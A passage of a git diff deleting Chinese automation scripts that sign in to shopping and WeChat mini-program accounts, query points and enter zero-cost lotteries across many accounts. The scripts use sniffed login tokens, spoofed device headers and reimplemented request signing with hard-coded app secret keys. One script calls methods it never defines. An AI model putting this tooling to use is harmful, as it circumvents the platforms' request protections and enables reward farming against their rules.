-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-const CryptoJS = require("crypto-js");
-const { Env } = require("../tools/env")
-const $ = new Env("得物0元抽");
-let ckName = `dwck`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
-
- }
- request(options) {
- let sign = this.calculateSign(options.data)
- options.url = options.url + `?sign=${sign}`
- let baseHeaders = {
- "Host": "app.dewu.com",
- "ua": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/duapp/5.89.0",
- "device_model": "iPhone 8",
- "platform": "h5",
- "Accept": "*/*",
- "Accept-Encoding": "br;q=1.0, gzip;q=0.9, deflate;q=0.8",
- "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/duapp/5.89.0",
- "mode": "0",
- "webua": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148",
- "netSourceType": "1",
- "channel": "App Store",
- "isRoot": "1",
- "brand": "Apple",
- "networktype": "WIFI",
- "dudeviceTrait": "iPhone10,1",
- "Accept-Language": "zh-Hans;q=1.0, en;q=0.9",
- "app_build": "5.89.0.510",
- "x-auth-token": "Bearer " + this.token,
- "countryCode": "CN",
- "appid": "h5",
- "Connection": "keep-alive",
- "Content-Type": "application/json",
- "isProxy": "0",
- "appVersion": "5.89.0",
- "v": "5.89.0",
- "deviceTrait": "iPhone",
- "imei": "",
- "emu": "0",
- }
- options.headers = Object.assign(baseHeaders, options.headers)
- return axios.request(options)
- }
- async run() {
-
- await this.zeroLottery()
- }
-
- async zeroLottery() {
-
- let options = {
- method: "POST",
- url: "https://app.dewu.com/api/v1/h5/oss-platform/hacking-zero-lottery/v1/activity/query-today",
- headers: { "Content-Type": "application/json" },
- data: { "source": "wotab" }
- }
- let { data: result } = await this.request(options)
-
- if (result.code == 200) {
- for (let i of result.data.activityList) {
- if (i.status == 0) {
- if ("taskVo" in i) {
- //需要做任务
-
- } else {
- await this.zeroLotteryJoin(i.id)
- }
- }
- }
- } else {
- $.log(`❌账号[${this.index}] 获取0元购列表失败[${result.msg}]🎉`)
- }
-
- }
- async zeroLotteryJoin(id) {
-
- let options = {
- method: "POST",
- url: "https://app.dewu.com/hacking-zero-lottery/v1/activity/engage-in",
- headers: { "Content-Type": "application/json" },
- data: { "id": id, "source": "wotab", inner: true }
- }
- let { data: result } = await this.request(options)
-
- if (result.code == 200) {
- $.log(`账号[${this.index}] 参与0元购成功🎉`)
- } else {
- $.log(`账号[${this.index}] 参与 0元购失败[${result.msg}]`)
-
- }
-
- }
-
- /*async DoTask(body) {
- try {
- let taskStatusResult = {};
- let commitBody = {};
- let preStatus = false
- if (body.taskType == 50) {
- taskStatusResult = await this.taskRequest_task("get", `https://app.dewu.com/hacking-task/v1/task/status?taskId=${body.taskId}&taskType=50&sign=94fd23c93d62ae0f75108f94c093b198`)
- if (taskStatusResult.code == 200) {
- if (taskStatusResult.data.status == 1) {
- //$.log(`账号[${this.index}] 开始任务成功🎉`)
- commitBody = { "taskId": body.taskId, "taskType": String(body.taskType), "btd": 0, spuId: 0 }
- preStatus = true
- }
- }
- }
- if (body.taskType == 1) {
- if ("classify" in body) {
- if (body.classify == 2) {
- taskStatusResult = await this.taskRequest_task("post", `https://app.dewu.com/hacking-task/v1/task/pre_commit?sign=b7382f4d908e04356f9646688afe096c`, { taskId: body.taskId, taskType: body.taskType, btn: 0 })
- //console.log(taskStatusResult);
- if (taskStatusResult.code == 200) {
- if (taskStatusResult.data.isOk == true) {
- //$.log(`账号[${this.index}] 开始任务成功🎉`)
- $.log(`延迟${body.countdownTime + 1}秒浏览${body.taskName}`)
- await $.wait((body.countdownTime + 1) * 1000)
- commitBody = { "taskId": body.taskId, "taskType": String(body.taskType), "activityType": null, "activityId": null, "taskSetId": null, "venueCode": null, "venueUnitStyle": null, "taskScene": null, "btd": 0 }
- preStatus = true
- }
- } else {
- $.log(`❌账号[${this.index}] 开始任务失败[${taskStatusResult.msg}]`);
- }
- }
- } else {
- taskStatusResult = await this.taskRequest_task("post", `https://app.dewu.com/hacking-task/v1/task/pre_commit?sign=b7382f4d908e04356f9646688afe096c`, { taskId: body.taskId, taskType: body.taskType, btn: 0 })
- if (taskStatusResult.code == 200) {
- if (taskStatusResult.data.isOk == true) {
- //$.log(`账号[${this.index}] 开始任务成功🎉`)
- await $.wait(16000)
- commitBody = { "taskId": body.taskId, "taskType": body.taskType, "activityType": null, "activityId": null, "taskSetId": null, "venueCode": null, "venueUnitStyle": null, "taskScene": null, "btd": 0 }
- preStatus = true
- }
- } else {
- $.log(`❌账号[${this.index}] 开始任务失败[${taskStatusResult.msg}]`);
- }
- }
-
-
- }
- if (body.taskType == 123 || body.taskType == 124) {
- commitBody = { "taskType": String(body.taskType) }
- preStatus = true
- }
- //console.log(taskStatusResult)
- if (preStatus == true) {
- let commitResult = await this.taskRequest_task("post", `https://app.dewu.com/hacking-task/v1/task/commit?sign=826988b593cd8cd75162b6d3b7dade15`, commitBody)
- //console.log(commitResult)
- if (commitResult.code == 200) {
- if (commitResult.data.status == 2) {
- $.log(`账号[${this.index}] [${body.taskName}]任务成功🎉`)
- return true
- } else {
- $.log(`账号[${this.index}] [${body.taskName}]任务失败🎉`)
- }
- } else {
- $.log(`账号[${this.index}] [${body.taskName}]任务失败🎉`)
- }
- } else {
- return false
- }
- } catch (e) {
- console.log(e);
- }
-
- }*/
- generateIds() {
- var Uo = Array(32);
- var oe = "0000000000000000";
-
- function Ho(e) {
- for (var t = 0; t < 2 * e; t++)
- Uo[t] = Math.floor(16 * Math.random()) + 48,
- Uo[t] >= 58 && (Uo[t] += 39);
- return String.fromCharCode.apply(null, Uo.slice(0, 2 * e));
- }
-
- var Mo = "00000000000000000000000000000000"; // Assuming Mo is defined somewhere else in your code
-
- var generateSpanId = function () {
- return function (e) {
- var t = e(8);
- if (t === oe)
- return Mo;
- return t;
- }(Ho);
- };
-
- var generateTraceId = function () {
- return function (e) {
- var t = Math.floor(Date.now() / 1e3).toString(16),
- n = e(8),
- r = e(3);
- return "f5" + r + t + n;
- }(Ho);
- };
-
- return "00-" + generateTraceId() + "-" + generateSpanId() + "-01"
- };
-
- createEncryptedBody(data) {
- const key2 = "MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANMGZPlLobHYWoZyMvHD0a6emIjEmtf5Z6Q++VIBRulxsUfYvcczjB0fMVvAnd1douKmOX4G690q9NZ6Q7z/TV8CAwEAAQ==";
- const publicKeyPem = '-----BEGIN PUBLIC KEY-----\n' +
- key2 +
- '-----END PUBLIC KEY-----';
-
- global["window"] = {}
- const jsencrypt = require("jsencrypt")
- const crypt = new jsencrypt()
- crypt.setKey(publicKeyPem)
- const n = this.randomStr(48, 16);
- const encrypted = crypt.encrypt(n)
- const enBody = CryptoJS.enc.Utf8.parse(data);
- const enResult = CryptoJS.AES.encrypt(enBody, CryptoJS.enc.Utf8.parse(n.substr(10, 16)), {
- iv: CryptoJS.enc.Utf8.parse(n.substr(20, 16)),
- mode: CryptoJS.mode.CBC,
- padding: CryptoJS.pad.Pkcs7,
- });
- //console.log(encrypted);
- //console.log(hexToBase64(encrypted));
- const newBody = {
- data: encrypted + "" + enResult.ciphertext.toString().toUpperCase(),
- };
- newBody.sign = this.calculateSign(newBody);
- return { enData: newBody, n };
- function hexToBase64(hexString) {
- const buffer = Buffer.from(hexString, 'hex');
- const base64String = buffer.toString('base64');
- return base64String;
- }
- }
- randomStr(length, charset) { var tmp1, tmp2, data = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".split(""), result = []; if (((charset = charset || data["length"]), length)) for (tmp1 = 0; tmp1 < length; tmp1++)result[tmp1] = data[0 | (Math.random() * charset)]; else for (result[8] = result[13] = result[18] = result[23] = "-", result[14] = "4", tmp1 = 0; tmp1 < 36; tmp1++)result[tmp1] || ((tmp2 = 0 | (16 * Math["random"]())), (result[tmp1] = data[19 === tmp1 ? (3 & tmp2) | 8 : tmp2])); return result["join"]("") }
- decryptResponseBody(result, n) {
- try {
- const de1 = CryptoJS.enc.Hex.parse(result),
- de2 = CryptoJS.enc.Base64.stringify(de1);
- const decrypted = CryptoJS.AES.decrypt(de2, CryptoJS.enc.Utf8.parse(n.substr(10, 16)), {
- iv: CryptoJS.enc.Utf8.parse(n.substr(20, 16)),
- mode: CryptoJS.mode.CBC,
- padding: CryptoJS.pad.Pkcs7,
- }).toString(CryptoJS.enc.Utf8);
- return decrypted;
- } catch (error) {
- n = "987654321012345678901234567890123456789012345678"
- const de1 = CryptoJS.enc.Hex.parse(result),
- de2 = CryptoJS.enc.Base64.stringify(de1);
- const decrypted = CryptoJS.AES.decrypt(de2, CryptoJS.enc.Utf8.parse(n.substr(10, 16)), {
- iv: CryptoJS.enc.Utf8.parse(n.substr(20, 16)),
- mode: CryptoJS.mode.CBC,
- padding: CryptoJS.pad.Pkcs7,
- }).toString(CryptoJS.enc.Utf8);
- return decrypted;
- }
-
- }
- //修复自 修改处理后 空值删除得情况 改为不删除
- calculateSign(requestBody) { const sortedKeys = Object.keys(requestBody).sort(); let signContent = sortedKeys.reduce((acc, key) => { const value = requestBody[key]; if (value === null) { return acc } if (typeof value === 'object' && !Array.isArray(value)) { return acc.concat(key).concat(JSON.stringify(value)) } if (Array.isArray(value)) { if (value.length > 0) { let typeOfFirstItem = typeof value[0]; if (typeOfFirstItem === 'object') { let arrayStr = ''; value.forEach((item, index) => { arrayStr += JSON.stringify(item) + (index !== value.length - 1 ? ',' : '') }); return acc.concat(key).concat(arrayStr) } } return acc.concat(key).concat(value.toString()) } return acc.concat(key).concat(value.toString()) }, ''); const secretKey = "048a9c4943398714b356a696503d2d36"; const hashedContent = CryptoJS.MD5(signContent.concat(secretKey)).toString(); return hashedContent }
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
diff --git a/daily/erke.py b/daily/erke.py
deleted file mode 100644
index d733c9aa..00000000
--- a/daily/erke.py
+++ /dev/null
@@ -1,187 +0,0 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-"""
-new Env('鸿星尔克签到');
-cron: 1 10 * * *
-"""
-# =================================================================
-# 使用说明:
-# 1. 环境变量名称:ERKE_CONF
-# 2. 环境变量格式:member_id#enterprise_id#unionid#openid#wx_openid#备注
-# 3. 多账号支持:多个账号请换行,或者使用 & 符号连接
-# 示例:
-# 12345#67890#unionid123#openid123#wx_openid123#我的账号
-# 54321#09876#unionid456#openid456#wx_openid456#大号
-# =================================================================
-# 配置日志
-import os
-import requests
-import hashlib
-import random
-import logging
-from typing import Dict
-from datetime import datetime, timedelta, timezone
-
-
-logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
-logger = logging.getLogger("ErkeCheckIn")
-
-def get_gmt8_time() -> str:
- """获取北京时间字符串"""
- tz = timezone(timedelta(hours=8))
- return datetime.now(tz).strftime('%Y-%m-%d %H:%M:%S')
-
-def calculate_sign(appid: str, member_id: str, timestamp: str = None) -> dict:
- """计算请求签名逻辑"""
- if timestamp is None:
- timestamp = get_gmt8_time()
-
- random_num = random.randint(0, 9999999)
- trans_id = appid + timestamp
-
- # 按照JS逻辑拼接字符串
- sign_str = f"timestamp={timestamp}transId={trans_id}secret=damogic8888random={random_num}memberId={member_id}"
- sign = hashlib.md5(sign_str.encode()).hexdigest()
-
- return {
- 'sign': sign,
- 'timestamp': timestamp,
- 'transId': trans_id,
- 'random': random_num,
- 'appid': appid,
- 'memberId': member_id
- }
-
-class ErkeAPI:
- def __init__(self, member_id, enterprise_id, unionid, openid, wx_openid, account_name):
- self.member_id = member_id
- self.enterprise_id = enterprise_id
- self.unionid = unionid
- self.openid = openid
- self.wx_openid = wx_openid
- self.account_name = account_name
- self.appid = "wxa1f1fa3785a47c7d"
- self.base_url = 'https://hope.demogic.com/gic-wx-app'
- self.ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF'
-
- def get_headers(self, sign_val: str) -> Dict[str, str]:
- return {
- 'User-Agent': self.ua,
- 'Content-Type': 'application/x-www-form-urlencoded',
- 'sign': sign_val, # 注意:原逻辑此处传入的是enterprise_id
- 'channelEntrance': 'wx_app',
- 'Referer': 'https://servicewechat.com/wxa1f1fa3785a47c7d/85/page-frame.html',
- }
-
- def get_integral(self):
- """查询积分明细"""
- sign_data = calculate_sign(self.appid, self.member_id)
- data = {
- 'currentPage': 1,
- 'pageSize': 20,
- 'memberId': self.member_id,
- 'cliqueId': '-1',
- 'enterpriseId': self.enterprise_id,
- 'unionid': self.unionid,
- 'openid': self.openid,
- 'wxOpenid': self.wx_openid,
- 'random': sign_data['random'],
- 'appid': self.appid,
- 'transId': sign_data['transId'],
- 'sign': sign_data['sign'],
- 'timestamp': sign_data['timestamp'],
- 'gicWxaVersion': '3.9.56'
- }
-
- try:
- res = requests.post(f"{self.base_url}/integral_record.json",
- headers=self.get_headers(self.enterprise_id),
- data=data, timeout=10).json()
- response_obj = res.get('response', {})
- accumulate = response_obj.get('accumulatPoints', 0)
- logger.info(f"[{self.account_name}] 当前累计积分: {accumulate}")
- return accumulate
- except Exception as e:
- logger.error(f"[{self.account_name}] 积分查询异常: {e}")
- return "未知"
-
- def sign_in(self):
- """执行签到"""
- sign_data = calculate_sign(self.appid, self.member_id)
- payload = {
- 'source': 'wxapp',
- 'memberId': self.member_id,
- 'cliqueId': '-1',
- 'enterpriseId': self.enterprise_id,
- 'unionid': self.unionid,
- 'openid': self.openid,
- 'wxOpenid': self.wx_openid,
- 'sign': sign_data['sign'],
- 'random': sign_data['random'],
- 'appid': self.appid,
- 'transId': sign_data['transId'],
- 'timestamp': sign_data['timestamp'],
- 'gicWxaVersion': '3.9.56'
- }
-
- headers = self.get_headers(self.enterprise_id)
- headers['Content-Type'] = 'application/json;charset=UTF-8'
-
- try:
- res = requests.post(f"{self.base_url}/sign/member_sign.json",
- headers=headers, json=payload, timeout=10).json()
- msg = res.get('message', '无返回信息')
- code = res.get('code')
- if code in ['0000', '1001', 0]:
- logger.info(f"[{self.account_name}] 签到结果: {msg}")
- return True, msg
- else:
- logger.warning(f"[{self.account_name}] 签到失败: {msg}")
- return False, msg
- except Exception as e:
- logger.error(f"[{self.account_name}] 签到请求异常: {e}")
- return False, str(e)
-
-def main():
- # 尝试从环境变量读取配置
- conf_str = os.getenv("ERKE_CONF", "")
- if not conf_str:
- logger.error("未找到环境变量 ERKE_CONF,请检查配置!")
- return
- # 处理多账号,支持换行或 & 分隔
- accounts_raw = conf_str.replace("&", "\n").splitlines()
- summary = []
-
- for line in accounts_raw:
- if not line.strip(): continue
-
- params = line.strip().split("#")
- if len(params) < 5:
- logger.error(f"账号配置格式错误 (需5个#分隔): {line}")
- continue
-
- # 提取参数
- m_id, e_id, uid, oid, wx_oid = params[:5]
- name = params[5] if len(params) > 5 else f"账号_{m_id[-4:]}"
-
- api = ErkeAPI(m_id, e_id, uid, oid, wx_oid, name)
-
- # 执行流程
- points_before = api.get_integral()
- success, msg = api.sign_in()
- points_after = api.get_integral()
-
- status_emoji = "✅" if success else "❌"
- summary.append(f"{status_emoji} 【{name}】: {msg} (积分: {points_before} -> {points_after})")
-
- # 打印最终统计
- print("\n" + "="*30)
- print(" 鸿星尔克任务简报")
- print("="*30)
- print("\n".join(summary))
-
- # 如果有通知推送逻辑,可以在此处调用
- # send_notification("鸿星尔克签到", "\n".join(summary))
-
-if __name__ == "__main__":
- main()
\ No newline at end of file
diff --git a/daily/fsdlb.js b/daily/fsdlb.js
deleted file mode 100644
index 3d507dda..00000000
--- a/daily/fsdlb.js
+++ /dev/null
@@ -1,134 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: fsdlb 微信小程序逢三得利吧 签到积分
-cron: 30 9 * * *
-------------------------------------------
-#Notice:
-https://xiaodian.miyatech.com 小程序逢三得利吧签到积分,使用前请先获取token,方法如下:
-打开微信,进入逢三得利吧小程序,点击右下角“我的”,
-打开抓包软件抓取https://xiaodian.miyatech.com 请求头的Authorization
-抓取到的Authorization值即为token,去掉前面的"bearer ",将剩余部分作为token使用。
-
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("逢三得利吧小程序");
-let ckName = `fsdlb`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = "bearer " + this.user[0];
-
- }
-
- async run() {
- await this.info()
- await this.signIn()
- }
-
- async signIn() {
- let options = {
- method: 'POST',
- url: `https://xiaodian.miyatech.com/api/coupon/auth/signIn`,
- headers: {
- "X-VERSION": "2.1.3",
- "Authorization": `${this.token}`,
- "HH-VERSION": "0.2.8",
- "HH-FROM": "20230130307725",
- "HH-APP": "wxb33ed03c6c715482",
- "HH-CI": "saas-wechat-app",
- "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36",
- },
- data: {
- "miniappId": 159
- }
- }
- let { data: result } = await axios.request(options)
- if (result?.code == 200) {
- //打印签到结果
- $.log(`🕊账号[${this.index}] 签到成功:[${result.data.integralToastText}]🎉`);
- } else {
- $.log(`🕊账号[${this.index}] 签到失败:${result.msg}🚫`)
- }
-
-
-
-
- }
- async info() {
- let options = {
- method: 'GET',
- url: `https://xiaodian.miyatech.com/api/user/auth/member/integral/union/flow/list?pageNo=1&pageSize=10&dataType=SCORE`,
- headers: {
- "X-VERSION": "2.1.3",
- "Authorization": `${this.token}`,
- "HH-VERSION": "0.2.8",
- "HH-FROM": "20230130307725",
- "HH-APP": "wxb33ed03c6c715482",
- "HH-CI": "saas-wechat-app",
- "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36",
- },
-
- }
- let { data: result } = await axios.request(options)
- if (result?.code == 200) {
- $.log(`🕊账号[${this.index}] 查询成功:总积分[${result.data.totalScore}]🎉`);
-
- } else {
- $.log(`🕊账号[${this.index}] 查询失败:${result.msg}🚫`)
- }
- }
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
\ No newline at end of file
diff --git a/daily/guyu.js b/daily/guyu.js
deleted file mode 100644
index bd479651..00000000
--- a/daily/guyu.js
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 谷雨小程序 换化妆品
-cron: 30 11 * * *
-------------------------------------------
-#Notice:
-抓取token方法:
-https://mall-mobile-v6.vecrp.com/mobile 请求头的token
-多账户&或换行
-变量名:gy
-
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const {
- Env
-} = require("../tools/env")
-const $ = new Env("谷雨小程序");
-let ckName = `guyu`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
-
- }
-
- async run() {
- await this.getUserPoints()
- await this.signIn()
- }
-
-
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout: 3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) { }
-
-}
-
diff --git a/daily/gyjj.js b/daily/gyjj.js
deleted file mode 100644
index 6ee71747..00000000
--- a/daily/gyjj.js
+++ /dev/null
@@ -1,137 +0,0 @@
-
-
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 国乐酱酒小程序
-cron: 30 9 * * *
-------------------------------------------
-#Notice:
-变量名:gyjj
-国乐酱酒小程序签到,使用前请先获取token,方法如下:
-打开微信,进入国乐酱酒小程序,点击右下角“我的”,
-打开抓包软件抓取https://member.guoyuejiu.com/api/sign/daily/sign 请求头的Authorization
-抓取到的Authorization值即为token
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("国乐酱酒");
-let ckName = `gyjj`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
-
- }
-
- async run() {
-
- await this.sign()
- await this.account()
- }
-
- async sign() {
- try {
-
- let options = {
- method: 'get',
- url: `https://member.guoyuejiu.com/api/sign/daily/sign`,
- headers: {
- "Authorization": this.token,
- "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.70(0x1800462d) NetType/WIFI Language/zh_CN',
- "Referer": "https://servicewechat.com/wxeff120e4d11594c0/85/page-frame.html"
- },
-
- }
- let { data: result } = await axios.request(options)
- if (result?.code == 0) {
- //打印签到结果
- $.log(`🕊账号[${this.index}] 签到成功:签到[${result.data.spanSumDays}]天🎉`);
- this.mist = result.data.spanSumDays
- } else {
- $.log(`🕊账号[${this.index}] 签到失败:${result.message}⛔`)
- }
- } catch (e) {
- console.log(e);
- }
- }
-
- //
- async account() {
- try {
- let options = {
- method: 'get',
- url: `https://member.guoyuejiu.com/api/user/info`,
- headers: {
- "Authorization": this.token,
- "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.70(0x1800462d) NetType/WIFI Language/zh_CN',
- "Referer": "https://servicewechat.com/wxeff120e4d11594c0/85/page-frame.html"
- }
-
-
- }
- let { data: result } = await axios.request(options)
- if (result?.code == 0) {
- //打印签到结果
- $.log(`🕊账号[${this.index}] 查询成功:总积分[${result.data.score}]🎉`);
-
- } else {
- $.log(`🕊账号[${this.index}] 查询失败:${result.message}🚫`)
- }
- } catch (e) {
- console.log(e);
- }
- }
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
\ No newline at end of file
diff --git a/daily/haitian.js b/daily/haitian.js
deleted file mode 100644
index 329ecf41..00000000
--- a/daily/haitian.js
+++ /dev/null
@@ -1,271 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 海天美味馆小程序
-cron: 30 11 * * *
-------------------------------------------
-#Notice:
-抓取https://cmallapi.xkmm.cn请求头的authorization和uuid参数,填入环境变量,格式如下:
-authorization#uuid 多账号&或换行
-
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("海天美味馆小程序");
-let ckName = `haitian`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
